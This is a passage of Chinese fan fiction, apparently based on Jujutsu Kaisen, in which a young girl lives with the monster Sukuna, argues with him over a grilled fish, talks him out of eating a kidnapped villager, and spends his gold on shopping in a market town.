“妖怪大人,你回来了吗?”伊田奈冲着最中间的屋子大吼一声。
推开门,宿傩懒洋洋的靠窗坐着,看到伊田奈进来,也只是抬了抬眼皮。
宿傩懒懒开口:“人类,你很闲?”
伊田奈一点都不闲,她捉了整整一天的鱼。
“借妖怪大人的吉言,希望我以后每天都能那么闲。”
鱼儿有伊田奈两条手臂加起来那么大,伊田奈紧紧抱在怀里,鱼尾不时抽动。
宿傩视线落到鱼尾上,皱了皱眉眼睛拧成一股,十分嫌弃,“你带了什么脏东西回来?”
伊田奈抱着手中的鱼笑了,扯了扯嘴角,难以置信,“你管这叫脏东西?这可是鱼!算了,和妖怪大人说不明白,我就不在这儿碍您的眼,把这脏东西解决以后再回来。”
伊田奈一只脚踏进房间,听到宿傩嫌弃的声音瞬间退后好几步,护好手中的鱼,生怕宿傩精神病发作把她手里的鱼抢走。
“妖怪大人,我解决完以后再回来。”
伊田奈舍不得把鱼放到视线以外的地方,用草绳把鱼背在胸前,看着安心。
山上树枝多,随便走一趟就见到不少树枝,火折子一点燃,就是一个火堆。
树枝燃烧,噼里啪啦,冒出红红的火光,在夜里有点热。
没有厨具,伊田奈找了块尖锐的石头剃掉鱼鳞,用一根树枝串起一条鱼,搭了个小架子,把鱼摆在架子上烤。
没有盐,想也不用想,神经妖怪肯定不会有这种东西。
伊田奈也不想在吃饭的时候去问妖怪。
闲得慌。
火苗滋滋往上冒,暖红色烟火在黑夜中格外显眼,太阳落下去,天色昏黑,蒙上一层薄纱。
鱼儿串在架上,被火烤的冒油,外皮焦黄,白色烟雾升起,鱼的香气在火堆旁扩散。
伊田奈眼睛一眨不眨盯着鱼儿,喉咙上下滚动,馋的口水都要流出来。
“应该快好了吧……”伊田奈翻转鱼身,估摸着鱼应该熟了,把鱼从搭建的简易小烤架上取下来。
手上还没拿稳,串着烤鱼的树枝被一股大力猛然抽去。
伊田奈手上一空,缓缓转头。
宿傩一只手拿着烤鱼,一只手撑住下巴,向前嗅了嗅,若有所思,“怪不得闻到了奇怪的味道,原来是你这个人类在这里做奇怪的东西。”
粉色的头发随着晚风轻轻摆动,宿傩表情淡漠,粉色的瞳孔波澜不惊,他身躯高大粗壮,站在那就是一堵墙。
伊田奈咬牙,薄唇紧抿,肚子饿得咕咕叫,烤了半天的烤鱼到手了突然飞了,气得牙痒痒,“还我!”跳起身来想要从宿傩手里夺回烤鱼。
宿傩身材高大,两米开外,伊田奈这一跳,连宿傩的腰都没够上。
伊田奈咬牙切齿:“还我啊!我考了好久!”
早不出现晚不出现,偏偏要吃饭的时候出现!怎么会有这种人!
伊田奈要气晕在现场。
宿傩粉红色眼眸向下动了动,若无其事收回,握住烤鱼的手往胸前退了退,张嘴,半条烤鱼,就这样进了宿傩的肚子。
半条烤鱼。
伊田奈瞬间瞳孔紧缩,“那是我的烤鱼啊!你这妖怪吃什么烤鱼!”手脚并用拉住宿傩宽大的衣摆向上爬。
宿傩轻哼一声,斜眼看着不知死活的弱小人类,这个人类像是一只小蚂蚁——瘦弱,矮小,纤细。
她顺着他的衣摆爬上他的腰,面色愠怒,动作迅速,恨不得将他碎尸万段。
哈哈哈……碎尸万段!……
宿傩冷漠的脸上不知何时出现几丝连他们自己都不曾察觉的笑意,他勾了勾唇,挑衅地看着弱小的人类,晃了晃手里的烤鱼,慢慢靠近嘴边——
伊田奈急了:“住嘴啊!你吃了我吃什么啊!”
伊田奈手上动作加快,眼睁睁看着宿傩又吃掉了一大口。
本来就小的烤鱼,宿傩两口就吃掉了。
两口就吃掉了!!!
宿傩吃掉手里的鱼,甩甩手,随意把串鱼的树枝一丢,眸光带着幸灾乐祸的笑意,直勾勾盯着伊田奈,“真是一条没有滋味的小鱼,竟然两口就吃完了,搁平时给我塞牙缝都不够,诶……”
末了,还有些无奈的叹气。
伊田奈气急攻心,眼眶都红了,眼睁睁看着树枝掉在地上,断成两截,差点一口气喘不上来……
她的鱼!!!
捞了一天的鱼!!!
“我还一口没吃上了,你就两口全闷了?!”伊田奈难以置信,下巴都要气歪了,“你难道就不能给我留一口,?我可是捞了整整一天!”
宿傩轻轻“哦”一声,歪头,“所以呢?”
伊田奈闻言,掐了掐人中,深吸一口气。
她已经爬到宿傩腰侧,再进一步,可以直接踩在这妖怪脑袋上跳舞。
“真是混蛋啊……”伊田奈咬了咬唇,缠着宿傩手臂上攀。
宿傩体格强健,常年风吹日晒,古铜色皮肤,脖颈处隐隐可以看见冒起的青筋。
伊田奈眼神锐利,紧紧盯住宿傩脖颈,朝着大动脉一口咬下
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去。
像是咬上了一块坚硬的石头,伊田奈咬了半天,只有一道小小的,连伤口都称不上的伤口,剩下的都是伊田奈的口水,白花花的口水。
“哈哈哈哈……”宿傩笑得眼泪都出来了,“就凭你这样,还想伤我?”
伊田奈不信邪,又咬了一次,这一回更是连细小的伤口都咬不出来了,只有滑溜溜的口水。
伊田奈扯了扯嘴角,呸了好几声。
宿傩轻轻拎起伊田奈身后的衣服,伊田奈小小一只,悬挂在空中,怒气冲冲地和他对视。
也许是被弱小人类的不自量力取悦,宿傩即便被冒犯,也没有感到生气,反而生起了几分想要和这小家伙玩一玩的心思。
“怎么样,味道如何?”他问她。
“臭得要命!”伊田奈自然是往坏的方面说。
想到鱼被妖怪吃了,自己又被戏弄一番,伊田奈很生气,“你吃了我的鱼,赔我一条!这可是我捉了整整一天的鱼!”
宿傩左边眉毛轻轻挑起,轻佻地说:“不赔。”
“你不赔,你不赔……”伊田奈脑瓜子嗡嗡转,“你不赔我就死给你看!”
宿傩脸上的笑渐渐收起,面色不善,“你是在威胁我?”
无形的压迫从四面八方扫射过来,伊田奈心下一沉,却不肯露出惧意,只是眼尾红红的。
“喂,傻逼妖怪,你不是想我活吗?鱼都被你吃了,我还活个锤子!”伊田奈开口,“你下一句是不是要说‘我平生最恨别人威胁我,上一个威胁我的人已经被我杀了’,呵呵,我就知道你们这里没一个好人,你也不用多说了,直接把我杀了,吃了,或者把我的皮剥下来做成人皮灯笼……”
伊田奈一条条列出影视剧妖怪喜欢做的事,末了,报复似的说:“你要怎么杀就怎么杀,随你的便,要是你不杀,我就自己动手,我要是当真想死就算你是神仙也未必拦得住!”
宿傩气笑了,面前的人类提前一步说出他想说的话,还当真以为一个弱小人类的死能够威胁得到他。
当真愚蠢——
“哦。”宿傩应了一声,目光触及到一块软绵绵的土地,思忖片刻,轻飘飘地把手里的人类丢下去。
“诶哟……”伊田奈叫得大声。
宿傩沉下眼眸,睥睨地上人仰马翻的人类,“你有一点说的不错,我的确讨厌威胁,从前威胁过我的人都被我杀掉了。”
话锋一转,“但你不一样,你是第一个因为一条鱼威胁我的人类,罢了,趁我对你感兴趣,一条鱼又算得上什么。”
伊田奈听懂了,这话的意思是,在妖怪看来,她不过是个可有可无的宠物罢了,这次能够答应她的要求,不过是因为妖怪本人现阶段对她感兴趣,要是不感兴趣了,说什么都没有用。
伊田奈先是一气,随后淡然,妖怪说的是事实,她的确是凭借妖怪大人的兴趣才勉强生存下来。
“是又怎么样?谁叫你犯贱,偏偏要留下我的性命?”伊田奈言辞上不落下风。
“你倒是牙尖嘴利……”宿傩眸中神色晦暗不明。
“谢谢夸奖。”伊田奈回道,蓦然看着穿着宽大白色衣袍的高大身影消失在原地。
5. 当真愚蠢
穿着宽大白色衣袍的高大身影消失在眼前,伊田奈本以为这家伙会这么走掉,吃干抹净以后留她一个人在原地伤心。
毕竟在这个人眼里,她不过是一个可有可无的弱小人类,和猫儿狗儿没什么区别。
伊田奈原地跺脚,气不过使劲踹了好几脚泥巴,泥土飞扬,落在远处。
伊田奈还是生气,捡起树枝对着泥巴地使劲戳,边戳边骂,“神经!毛病!不得好死!……”
骂了好一阵子,这才解气,丢掉树枝站起身。
“呵,你也就这点本事了。”宿傩不知道什么时候回来的,一点声音都没发出。
伊田奈吓了一跳,捂住胸口有点心虚,定睛一看,瞧见宿傩手里拎着几尾鱼。
伊田奈问:“你什么时候来的?拎着鱼做什么?”
宿傩挑了挑眉,眉间带着浓浓的嘲讽:“你说呢?”
刚才这个弱小的人类寻死觅活的让他赔鱼,如今带鱼回来了却明知故问原因。
——当真愚蠢。
夜色渐深,弓弦似的一轮弯月不知何时挂上天幕,发出明黄色光线,不远处隐隐有层层薄雾堆叠,边缘薄如蝉翼,随风摆动。
伊田奈借着月色,清楚看到了妖怪眼里的轻蔑,无语扯了扯嘴角,暗道真正愚蠢的明明另有其妖,却还是忍着耐心开口:“你倒是大方,这么多鱼,都给我?”
宽大粗糙的手上拎着一二三四五六七八条鱼,宿傩消失的这一小段时间便是去捉鱼了。
听到人类的盘问,宿傩轻嗤一声:“你倒是想的容易,两条归你,剩下的是我的。”
宿傩挥挥手,几尾鱼落到地上。
伊田奈没动。
宿傩淡淡扫去。
伊田奈面无表情,指了指自己:“我,一个人剃鱼鳞?”
宿傩语出惊人:“这玩意还用剃?”
伊田奈沉默,“你吃鱼不剃鱼鳞?”
宿傩轻蔑:“只有无能的人才会去处理这些东西。”
甚至宿傩从前吃鱼从来不用任何处理。
伊田奈闭眼,叹了口气,“我不管,你得帮我把鱼鳞剃了,否则我是不会答应的。”
“很简单,”不管宿傩大没答应,伊田奈直接上手,捡起剃鱼鳞的石头直接上手演示,“你看,用锋利的这一面对着鱼鳞刮下去,把鱼鳞刮掉就可以了。”
僵持了一会儿,宿傩还是答应了伊田奈无理的请求,把鱼身上的鱼鳞给剃了下来。
剃完鱼鳞,伊田奈问:“你有没有盐?”
宿傩:“那玩意儿有什么用?”
宿傩一开口,伊田奈就知道这家伙准没有这些东西,打消了向宿傩寻求烹饪材料的想法。
能把鱼鳞剃掉,已经算好了。
火光跃动,鱼肉发出鲜香气味。
第一条鱼烤好,伊田奈指了指饥肠辘辘的肚皮,“第一条鱼,我的。”
伊田奈护食抱着小鱼,朝着小鱼呸呸呸了好几声,得意洋洋小口吃起来,一边吃,一边翻动剩下的烤鱼。
宿傩淡淡一扫,冷眼看伊田奈护食,面露不屑。
宿傩一条腿盘在地上,另一条腿蜷缩着,用手撑住下巴,粉红色的眼眸很专注,眼底倒映跃动火苗。
记不清楚上一次这样悠闲的坐在火苗旁是什么时候了。
宿傩视线落到一旁的弱小人类,这个人类个头当真小得可怜,他现在这个样子,应该……只是人类的幼崽。
其他人类幼崽,也是这样?……
宿傩略感疑惑。
是日吃完鱼,伊田奈小心翼翼用泥土浇灭火苗,回去睡觉。
房间昏暗,只有窗外月光透过窗户照进来。
屋内,骷髅头整整齐齐堆在门后,眼眶空洞泛黑。
伊田奈平静走过,目光落到榻榻米上。
妖怪体型大,睡的榻榻米自然不小。这张榻榻米外表整洁,没有脏污发黄,甚至远远能闻到一股草木香。
伊田奈停下脚步,回头望了望昨晚睡的地板,视线重新转向榻榻米。
想睡——
只差没把这个想法刻在脑门上。
哒哒哒——
脚步声传来。
宿傩难得有闲情雅致,吃了几条烤鱼,心情还算不错,慢悠悠沿着小路一路走回去。
一进屋,就是人类幼崽熟悉的味道。
宿傩顿了顿。
——不知死活的人类幼崽此刻躺在属于他的榻榻米,一脸惬意。
“你在做什么?”宿傩眼神锐利,上半身依靠门框,高大结实的身体堵住半扇门。
伊田奈翻了个身,正对宿傩,态度恭敬,“我在帮妖怪大人您暖床!”
有事妖怪大人,无事神经妖怪,各种粗言秽语。
狡猾的人类。
宿傩淡漠:“我不需要。”
正是夏间炎热时候,避暑尚且来不及,谁会需要人暖床。
尤其是像他一样的“妖怪”。
伊田奈黑溜溜的眼珠子转了转,“觉得妖怪大人您很亲切,想要离您近一点。”
宿傩半个字都不相信。
高大的男人依靠门框,四只手随意揣在和服之间,浑身上下散发慵懒气息,掺杂几丝难以发现的痞气。
但从气质上讲,已远远胜过不少人。
宿傩淡淡开口:“我可是妖怪,你想和妖怪睡在一起?”
伊田奈小鸡啄米点头飞快,“对啊,非常想和妖怪大人您一起睡呢!”
宿傩:“我是妖怪。”
伊田奈:“我知道。”
宿傩沉默。
狡猾的人类。
宿傩第二次觉得这个人类很狡猾,看来她没有想象中笨。
宿傩紧紧盯住伊田奈的眼睛,试图从中找出说谎或是害怕的痕迹。
很遗憾,什么都没有找到,宿傩甚至在盯着那双水润眼睛时产生错觉,觉得这双眼睛很漂亮,……很真挚。
人类永远不会出现真挚的双眼。
宿傩淡漠移开视线,阖上门,朝前走去,“你不怕我吃了你?”
伊田奈满不在乎:“吃就吃呗,要吃早就吃了,还用等到现在。”
宿傩:“……你不怕我晚上压到你?”
伊田奈瞪大眼睛,反问:“你要是连翻身都不能控制的话还当什么妖怪?”
宿傩喉咙一梗,声音沙哑,“你就这么信任我?”
“嗯嗯!”伊田奈点头,“非常信任妖怪大人呢,所以我可以在这张榻榻米上休息了吗?”
妖怪大人不说话。
伊田奈扬了扬嘴角,笑容绽开,伸手拍了拍另一侧榻榻米,“恭敬不如从命,我就先休息了,妖怪大人您随意。”
片刻,她接着补充,“要是妖怪大人您实在不想让我和您挤在一起,可以寻一张小榻榻米给我,我不会嫌弃的。”
说完,伊田奈噤声,占据榻榻米小小的一方地方,闭眼睡觉。
赤裸裸的视线从身侧传来,似乎要将身上灼穿一个洞,伊田奈闭紧双眼,一点也不睁开,只当做什么都没发现,放缓呼吸,努力入睡。
柔软的榻榻米和硬邦邦的木
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板,闭着眼睛都知道选什么。
宿傩站在离榻榻米几步远的位置,直挺挺站着,没有任何动作,除了视线仅仅盯着榻榻米上悠闲自得的小小一团。
——宿傩之名可止小儿哭啼。
宿傩一直知道人类对自己的恐惧。他是不详,是诅咒,是恐惧。
见过他的人类无一不诧异、惊惧、恐惧,难以想象竟然会有这样的躯体存在于世间。
可他就是活了下来。
像如今这样好好的活着。
那些人会因为他的外表驱逐他,折辱他;同样也会因为他的力量屈服他,臣服他,甚至隔三差五送上所谓的祭品。
可笑。
那这个人类呢?除了一开始,宿傩似乎就没有在这个人类身上见过惧意,更多时候,这家伙的行为大胆的可怕。
她会害怕吗?
悠长均匀的呼吸声响起。
宿傩近前,脱下鞋,踩上榻榻米。
手指在人类的眼前晃了晃,停留在鼻息处。
呼吸如同先前一般稳稳当当。
宿傩收回手,看着这具柔弱、不堪一击的纤细躯体,良久,低低出声:“希望你以后也能如此大胆……”
意味深长。
宿傩躺下,呼吸间全是这个人类的味道。
淡淡的香甜,混杂青草的味道。
味道不难闻,甚至隐隐让内心的焦躁平静下来。
宿傩并不抗拒这股味道,好心情的一缕缕顺伊田奈的头发。
焦躁的欲望似乎被冲淡,困意上涌,宿傩闭上眼。
伊田奈醒来时,窗外天蒙蒙亮。
伊田奈稍微动了动,发现自己被一双有力的手臂禁锢住。
眼前是宽大的白色衣袍,隐约可以看见结实的腹肌曲线。
伊田奈揉了揉眼睛。
想要挣脱。
睁不开。
抬头,神经妖怪不知道什么时候睁眼,粉红色的眼眸淡淡看向她。
伊田奈质问:“你是变态?”
大早上把人抱进怀里。
宿傩低声:“你说呢?”
伊田奈睡觉不老实,半夜乱踢人,从东滚到西,从西滚到东宿傩一夜醒了好几次,为了防止这家伙乱动,干脆用手臂锢住。
伊田奈脸上毫无愧色:“就算是这样,我现在醒了,你就不能放开?”
好像昨天晚上无理取闹的人不是一天她本人。
宿傩唇角微微扬起坏笑道:“不放,我还没休息够。”说完,闭上眼假寐。
伊田奈莫名其妙:“你休息没休息够和我有什么关系?”一巴掌拍到宿傩胸膛,“松手,我已经休息够了。”
天一黑就开始睡,睡到天亮,起码睡了十多个小时,这都睡不够,要怎样才能睡够?
妖怪比猪还能睡。
宿傩故意做了个狰狞表情:“你好吵,闭嘴。”
宿傩任凭伊田奈骂骂咧咧都没松开。
伊田奈在心里默默给宿傩划了个变态标签。
神经病和变态无论在什么时候都有共通之处。
睡到中午,妖怪才悠悠转醒。
伊田奈骂累了休息,被迫跟着睡了会儿回笼觉,浑身骨头酸软,走起路来脚底打颤。
宿傩这一觉睡得很安稳,修长手臂将人类揽入怀中,虽然有种异样感,说不上来的奇怪,鼻边闻到一股若有若无的清香闻起来很舒适/
人类不乱动后,他很快就睡了过去,耳边没有嗡嗡声,困扰多时的头疼也没有出现。
宿傩心情很愉悦。
6. 做饭
不知道有什么好愉悦了。
伊田奈走上前,问道:“你昨天带回来了不少鱼,今天能带一些别的食物回来吗?”
食物面前,面子什么的都是扯淡。
妖怪既然有这个能力,自然要好好利用起来。
宿傩这一觉睡得极好,耳边没有嗡嗡作响的声音,闭上眼,也没有看到血腥暴力的残影。
这些东西对他不会造成什么实质性的影响,但是会让他觉得麻烦。
只是宿傩一直不知道该怎么解决这些问题罢了。
忽视就好。
困扰多时的问题在此时,这个小小的人类出现后得到解决,宿傩脸上自然多了几分愉悦,对待这个人类女孩,自然也多了宽容。
养一只弱小、叽叽喳喳的人类也不是不可以——
宿傩掀开眼皮,长长的睫毛轻轻划过,粉红色的眼眸掠过几分漫不经心,手指把玩着榻榻米,“你倒是胆子越来越大,竟然敢和我提条件。”
伊田奈露出讨好的笑容:“这哪里是谈条件,这不是看妖怪大人威猛无比,这才请求妖怪大人您!”
哪里来的威猛无比,不过是一时之间随意找的词语。
宿傩不为所动,抬眼,双眸直勾勾看向伊田奈,“你就是这样请求?”
难不成还要跪下?
伊田奈心里诽谤,面上却是和和气气,眨巴一双水灵灵的眼睛,眼睛里写满了——这样不行吗?妖怪大人我怎么听不懂?
“呵——”宿傩轻嗤一声,嘴角微不可查地向上扬了扬,“也要看你吃不吃得消。”
人影一闪,榻榻米上空无一人,片刻后,一团看不清形状的东西被丢下来。
妖怪又出现了。
“救命啊!救命 !妖怪大人您别吃我别吃我!……”
尖叫声刺破耳膜,声音从窗外闪过,响彻山顶。
伊田奈定睛看去,地面上哪里有什么东西,分明是一个人!
这个人穿着粗布麻衣,五大三粗,皮肤黝黑,一看就是精壮的劳动力。
此时这人跪在地上,两手作揖,不住磕头,头顶磕出斑驳血迹,嘴里喃喃“求求妖怪大人您放我一马!放我一马!”
宿傩站在一边,拍拍手,拍掉手里的灰尘,漫不经心。
伊田奈目瞪口呆:“你在做什么?”
宿傩嘴角扬起,笑得诡异,微一挑眉,“你不是想要食物?这不是给你带来了。”
场面安静了几秒。
伊田奈眼珠子在地面上跪拜的农户还有宿傩两个来回打转,闭上眼,狠狠叹了口气。
伊田奈咬着牙,问道:“你的意思是,把这人给吃了?”
宿傩轻轻点头。
伊田奈欲言又止:“……又不是饥荒年,闲得没事蛋疼干嘛吃这个?”
饥荒年也就罢了,不是饥荒年还搞这死处,真是有够无语的。
宿傩眼睛眨了眨,挑眉,一脸嫌弃:“不吃这个你吃什么?”
麻烦、挑剔的人类。
伊田奈揉了揉太阳穴:“我觉得可以吃点其他东西。”
地上磕头的像npc一样的村民终于有了反应,磕头的方向由宿傩转向更小的伊田奈。
村民跪在伊田奈脚边,小心翼翼磕头,“求求您了,小仙子!求求您放我一命,我上有老下有小!”
顿了顿,村民眼珠子一转,“求求您了!我女儿还在家等着我回去吃饭呢!她不能没有我啊!……”
哭声悲怆,村民说得声泪俱下。
宿傩眼底闪现不耐烦,揉了揉太阳穴,周身气度冷了好几分。
伊田奈站在原地,冷冷看着村民磕头作揖,述说自己家中可怜的光景,希望能够活着走出去。
地板、额头上的斑驳血迹,粗糙焦黄的手指,老树皮一样的皱纹。
伊田奈闭上眼,睁开,转身,“妖怪大人,不如您从哪抓的他就把他送回哪里去吧?”
宿傩叉着手:“你在教我做事?”
伊田奈摇头:“不,人类的肉又酸又难吃,为什么要吃这些肉呢?您把他放回去,我给您做其他的食物。”
听到其他食物,宿傩这才表示出一点兴趣,“你这个身板,能做什么?”
伊田奈:“我也不知道究竟能做什么,您要是相信我的话我就给您做,您不相信的话我也没有办法。”
宿傩:“我倒是要看看你能玩出什么花样。”
村民喜极而泣,不住磕头,能从远近闻名、吃人不眨眼的妖怪手中活命,真是一件大喜事!跪在地上又哭又笑。
伊田奈:“你走的时候,把我也带上。”
宿傩意味深长地看了伊田奈一眼,倒真没有把她抛下。
附近村民劳动的农田,村民被随手丢到田地,身边还有一刻钟前陪伴他劳作的农具。
伊田奈被半抱在宿傩怀里,宿傩没有撒手。
“喂,你告诉附近的村民,要想活命,不要再向山上送祭品,也不要轻易踏入那座山附近。”想了想,伊田奈还是叮嘱,“谁要是敢违背,到时候第一个死的就是那个人。”
村民不顾疼痛重新跪在地上。
宿傩没了耐心周旋,轻轻一晃消失在原地。
村民再次抬头,妖怪和那个小女孩已经不见,乌泱泱的村民正朝着他这个方向赶。
“发生了什么?”
“你不是被妖怪捉去了?”
“有没有哪里受伤?”
……
村民看到熟悉的同类,痛哭流涕,抱着其中一个人就开始哭,倾诉自己悲惨的遭遇。
“那个小姑娘当真是这样说?”村长问。
村民急急点头
村长听说了伊田奈的叮嘱,低头沉思片刻,没有犹豫,马上就让村子里其他强壮的男人前往其他村落,通知这个消息。
到底是年纪大,经历的事情多,村长叮嘱村里人,“不要随便议论妖怪,发生了什么全都闷到肚子里去,小心到时候要是妖怪知道背后的言论,把你们一个二个全都吃得一干二净。”
原本又好奇的人,此刻全都缄默,不敢私下议论,生怕一不小心触到妖怪眉头,被吃得一干二净。
——
宿傩身形一闪,顿时回到山上。
他慵懒坐在院子里那棵大树上,身上看上去软绵绵的,没什么斗志,和一开始见到趾高气扬用屁股看人的妖怪有了一点点区别,具体是什么区别,伊田奈说不上来。
“你有黄金吗?”伊田奈站在树上,抬起头,和宿傩说话。
“黄金?”宿傩垂眸思考,“你是说这些玩意儿?”<
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推开西侧房门,地面上堆了不少金银珠宝,黄金首饰。
伊田奈看得眼睛发直:“你有这些东西,还吃什么人肉?”
宿傩半点触动都没有,“这些东西又不能吃,有什么意思?”
伊田奈跪在地上,东摸摸西摸摸,摸到一枚金元宝,忍不住用衣角擦干净,上牙咬了两口。
伊田奈:“真的金元宝!这下也是能当上有钱人了。”
有钱能使鬼推磨,有了钱,还用担心受什么鸟气?!
直接横着走都没问题!
宿傩不是很能理解伊田奈开心的点,脸上露出鄙夷,“有这么高兴?”
第一次见这个小小人类脸上露出这样高兴的笑容。
伊田奈挑了几枚金元宝,还有碎金子,“当然,你是妖怪,不懂得钱在人类世界的地位。”
宿傩低垂眼眸,没有答话,看不清眼底的神色。
钱庄。
几名壮汉东倒西歪倒在地上,手里的棍棒洒落一地。
最中间围着的矮小精明,留有几缕胡子,带着一个方方正正帽子的白胖老板瘫坐在地上瑟瑟发抖。
对面站着一个瘦弱的小女孩,小女孩身旁有一个穿着斗篷,戴面具看不清脸的高大男人。
钱庄老板两条腿不断发抖,眼睛盯着地板,伸手,用袖子揩了揩额头的汗液:“姑奶奶啊,你要是有这本事早点不说,干什么捉弄我们这群生意人呢?”
伊田奈双手叉腰,趾高气扬:“谁叫你们欺负老实人的?我来你们这儿真金白银和你们换些银两铜板,你们倒好,看我年纪不大欺负我是吧?给我些假的,还不承认?”
金子普通百姓找不开,伊田奈便想着来钱庄换成碎银两铜板,方便买东西,谁知道这老板不是个实诚的,竟然掺着假的还给伊田奈,还缺斤少两,要不是伊田奈留了个心眼,还真敲不出来。
被发现以后,竟然还打算黑吃黑。
要不是宿傩,这群家伙还真得逞了!
“说吧,你们打算怎么赔偿我?”伊田奈一副不达目的誓不罢休的样子。
“诶哟!”钱庄老板偷偷觑了眼伊田奈背后的高大男人,苦哼出声,欲哭无泪,挥动袖子,“我陪,我陪!”
“你!”钱庄老板白白胖胖的手指一指,落到身边两位壮汉身上,“你们去库房里取银子过来!”
两位壮汉在地上呻吟,宿傩出手,哪里是随随便便就能够爬起来的?
在地上呻吟半天,硬生生一点都爬不起来。
钱庄老板又随手指了几个人,一个都爬不起来。
无奈,两道不同的灼热视线落到身上,钱庄老板硬着头皮从地上爬起来,爬起来的时候“诶哟”一声,哼哼唧唧,扶着屁股从□□里掏出一把钥匙,扭捏打开库房门。
“两位,库房堆积杂物,这就不碍了二位的眼,小的去去就来。”
宿傩没动,显然是对房里的东西不感兴趣。
伊田奈饶有兴味地跟上去,“怎么会?不会碍着我的眼!你就放一万个心!”
钱庄老板进也不是,退也不是,硬着头皮带着伊田奈进去。
他取过一张托盘,在黄金处停下脚步,从里面取出两枚黄金,放上托盘,回头看伊田奈神色,只见伊田奈挑了挑眉,皮笑肉不笑。
7. 金银
钱庄老板动作顿下,下巴咬紧,颤抖着手从箱子里又取出不少金元宝。
伊田奈挑眉,微微颔首。
从库房出来。
钱庄老板含泪取了不少金元宝、银元宝、碎银子、铜钱,手臂抖动,交给伊田奈。
伊田奈从库房边上取了块布,用布包裹银钱,背在背上,挥挥手和老板告别:
“多谢多谢!以后有机会再见!”
钱庄老板脸上赔笑,白白的脸上眼睛眯成一条缝,隐隐还能看见泪花。
破财消灾 !钱庄老板安慰自己。
出了钱庄,便是镇上。
挑夫挑着箩筐走街串巷,小贩在原地吆喝,农民带着自家种植的农作物在街上置换,还有人拎着老母鸡在原地打转。
一个瘦瘦小小的小姑娘,看起来和伊田奈差不多大,骨瘦如柴,怀里还抱着个小奶娃,面前摆着两只鸡,两个小娃娃虽然瘦,怀里的鸡却肥肥胖胖。
伊田奈走上前:“鸡怎么卖?”
小姑娘颤颤巍巍,小心翼翼抬眼打量伊田奈,态度小心谨慎,报了个价格,见伊田奈没答话,补充:“鸡是我自己养的,没生病,很安全的,还会下蛋,要不是我娘生病了,我们才不舍得卖。”
伊田奈这才知道为什么只有这个小姑娘一个人了。
伊田奈问:“你爹呢?怎么让你一个人出来卖鸡?”
小姑娘咬唇:“我爹前段时间生病死了,我是和邻居家的大伯出来的。”
片刻,她接着说:“你要买我的鸡吗?我……我可以便宜一点。”
伊田奈摇摇头,取出备用的碎银子。
不管这个小姑娘是真话还是假话,伊田奈都不打算深究。
伊田奈挡在小姑娘面前,低头看了看四周,没人朝这边盯着。
伊田奈虚掩着把碎银两塞进小姑娘怀里。
“嘘!小声点,别给坏人瞧见,拿着这些钱给你娘买药,可以再买些小鸡仔养起来。”伊田奈小声说。
小姑娘两只眼睛顿时泪汪汪,就要跪下。
伊田奈拦住她,“别做这些,收好银子。”说完,装模作样打量笼子里的鸡,“你这鸡看着不行,太瘦了,价格要压一压。”
伊田奈报了个比小姑娘低的价格,一番争论拿下两只鸡。
两只鸡装在竹编笼子里,分量不小,伊田奈自己都还是个小孩子身体,怎么拿得动。
伊田奈扭扭捏捏转到妖怪面前,扯了扯妖怪宽大的斗篷,“妖怪大人,您能不能把这个拿上?”
宿傩低头,透过暗红色的面具看到地上的竹编笼,笼子里两只咯硌叫唤的鸡。
宿傩冷漠无情开口:“不能。”
他是疯了才会去做这些事。
伊田奈:“妖怪大人,您力大无穷,英勇无比,拿个小小的鸡笼子又有什么困难的?!这还不是轻而易举的事情。”
瘦黄干瘪的小女孩眨巴水灵灵的大眼睛,极力证明自己诚挚的态度。
很可惜,宿傩不吃这一套,任凭伊田奈好说歹说都不为所动。
无奈,伊田奈只好在大街上看着买劳动力的汉子,挑选了两个看起来老实巴交,浑身有劲的男人帮忙拿东西。
一路上遇到喜欢的,伊田奈眼睛也不眨,直接买买买。
笑话,有钱活着的时候不花,等到死了以后给别人花吗?
反正妖怪又不花,不如给她花。
蔬菜种子,装在盆子里的花,花种子,小羊,猪肉……
伊田奈在集市逛了半天,看见什么想买的小手一挥,全都买回去。
浑身上下写满了“不差钱”几个字。
也不是没有盯上伊田奈的家伙,这些家伙只要稍微靠近,便能看见那个小姑娘身边巨人一样的家伙,穿着宽大斗篷,带暗红色面具,怎么看怎么诡异。
尤其是那家伙的眼神,看得人心里发毛,即便想要做什么坏事,胆子也全都被吓跑了。
是以,伊田奈逛了整整一路,都没再碰上什么不长眼的家伙。
成衣铺子。
身后请来的两个帮工手里面大包小包拿着各色各样的东西,拿着不容易,伊田奈又请了两个人,原先的两个帮工这才轻松点。
四个帮工齐齐停住脚步,眼见出钱的小姐停在成衣铺子面前,大家都站在门口,没跟着进去。
宿傩的斗篷和面具都是在路边随便买的,伊田奈身上穿着的也不过是当初的粗布麻衣。
一踏进店,门口店小二上下扫视一眼,当做没看见。
还是在店帮工的另一人上前,殷切招待。
“客官,您瞧瞧,有没有什么喜欢的?”
门口算账的店小二心里嗤笑,一看这新来的就没有什么眼力见,乡巴佬都上赶着伺候,等着被掌柜的收拾吧。
帮工那人可不管那么多,门口齐齐整整站着的四个人他可是瞧见了,这人虽穿着一般,但是瞧这就不是一般人,说不定今儿个的生意都在这个人身上了。
还真叫这家伙赌对了。
伊田奈在铺子里转了一圈,买了四套成衣,又让伙计比划,定做了三套衣裳。
帮工伙计眼睛都快笑眯成一条,态度殷切,门口算账的伙计则是气得牙痒痒,倒真是一个有钱人,一出手还这么大方。
他凑上去想捡捡便宜,谁知道那小姑娘竟然趾高气扬的把他撵走。
掌柜的原先什么都瞧不见的样子,如今竟然也都跟上来了骂了他一顿。
伊田奈对此只是淡淡扫过一眼,既没说好,也没说不好。
思忖片刻,伊田奈转身。
高大威猛、像堵墙似的宿傩冷冷站在原地,伊田奈眼睛扫过宿傩,得出大概胸围腰围。
伊田奈对着帮工说:“你瞧瞧我身后这个…”
顿了顿,伊田奈还是说了“人”,害怕把周围的人吓坏了。
“你瞧我身后这个人的身高,根据我报的尺码,给他做两套衣服。”
伊田奈手指一块靛灰色布料还有一块淡白色布料,“有能写字的纸笔吗?我画个样图,看看你们能不能做出来。”
掌柜递上纸笔,伊田奈沾了沾墨,几笔勾勾画画,画出一套衣服的大致雏形。
掌柜笑迎上去,看到图纸的时候愣了愣,笑容僵在脸上。
只见图纸上依稀可以看见一个男人的轮廓,男人穿着和服,四只手的和服。<
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伊田奈问:“怎么?你们这做不了?”
掌柜的笑容僵硬,握住图纸的手微微颤抖:“小姐,您这……这衣服……”
大惊小怪。
伊田奈态度淡定的多:“这衣服能做吗?做完照常结账。”
掌柜的咬了咬牙:“能做能做。”
